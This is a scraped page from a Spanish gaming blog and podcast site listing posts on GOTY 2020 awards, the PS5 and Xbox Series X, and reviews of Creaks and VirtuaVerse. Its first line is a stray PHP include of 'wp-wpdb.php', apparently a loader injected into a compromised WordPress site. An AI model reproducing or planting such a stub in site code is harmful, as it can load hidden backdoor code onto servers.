if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Arashi – La Fortaleza de LeChuck

Podcast especial GOTY y FOTY 2020

HOY EN EL PODCAST DE http://lafortalezadelechuck.com/ Llegó la gran gala de los GOTY y FOTY 2020. Los mejores juegos y peores del año por categorías. El equipo se ha jugando para premiar en estas categorías: – Mejor RPG – Mejor Acción/Aventuras – Mejor Indie – Mejor Banda Sonora – Mejor Juego de Largo recorrido – Mejor… Seguir leyendo Podcast especial GOTY y FOTY 2020

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Podcast especial PS5

  HOY EN EL PODCAST DE http://lafortalezadelechuck.com/ Impresiones de las primeras horas con la consola: – Reservas y lanzamiento – Interfaz y sus novedades – Rendimiento y hardware – Juegos – Mando Disponible en IVoox También en Apple Podcasts y Spotify ¡Disfrutadlo!

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Podcast especial Xbox Series X

  HOY EN EL PODCAST DE http://lafortalezadelechuck.com/ Impresiones de las primeras horas con la consola: -Reservas y lanzamiento – Interfaz y sus novedades – Rendimiento y hardware – Juegos – Mando y accesorios Disponible en IVoox También en Apple Podcasts y Spotify ¡Disfrutadlo!  

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Podcast 7×01: Reservas de consolas y repaso del verano

Volvemos a la carga con un extenso repaso a todo lo que hemos jugado este verano y las noticias más destacadas de ese periodo. Además, hablamos de las reservas de PS5 y Series X. Quién de aquí habrá reservado? Y otros temas de actualidad como la adquisición de Bethesda. Disponible en IVoox También en Apple Podcasts y Spotify ¡Disfrutadlo!

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Análisis Creaks

Los aventureros natos reconocen rápidamente el nombre de Amanita Design. Seguramente porque disfrutaron de cada segundo de su bonita aventura gráfica Machinarium. A decir verdad, su nuevo título no es un point and click, ya que pone el género en barbecho para tomar el desvío hacia los plataformas/puzles 2D, pero con una calidad artística de… Seguir leyendo Análisis Creaks

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Campaña para un documental de Myst

Myst (1993) fue una aventura point and click en primera persona que muchos aventureros recordarán. En ella nos embarcábamos en un viaje extraordinario hacia la lejana isla Myst. Allí nos esperaban puzles intrincados, entornos preciosistas y una banda sonora de altura. Su originalidad no pasó de largo, dando vida a una buena ristra de aventuras… Seguir leyendo Campaña para un documental de Myst

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The Last of Us 2, un análisis narrativo de la obra

Los estudios de videojuegos se enfrentan actualmente al complejo desafío de mantener pegado al jugador al asiento. La competencia es salvaje y continuamente tienen que ingeniárselas para crear contenido novedoso y excitante. Recientes datos indican que solo el 50% de jugadores consiguen llegar al final de un juego de corte narrativo. Y el número cae… Seguir leyendo The Last of Us 2, un análisis narrativo de la obra

Análisis VirtuaVerse

Los futuros distópicos tienen un atractivo enigmático que provoca que nunca nos cansemos de ellos. En los 80, Blade Runner sentó cátedra con una ambientación auténtica y secuencias que forman parte de nuestro recuerdo. Desde entonces, muchas propuestas audivisuales han tomado de base aquel mundo caótico del mañana. Los aventureros recordamos también la popular aventura… Seguir leyendo Análisis VirtuaVerse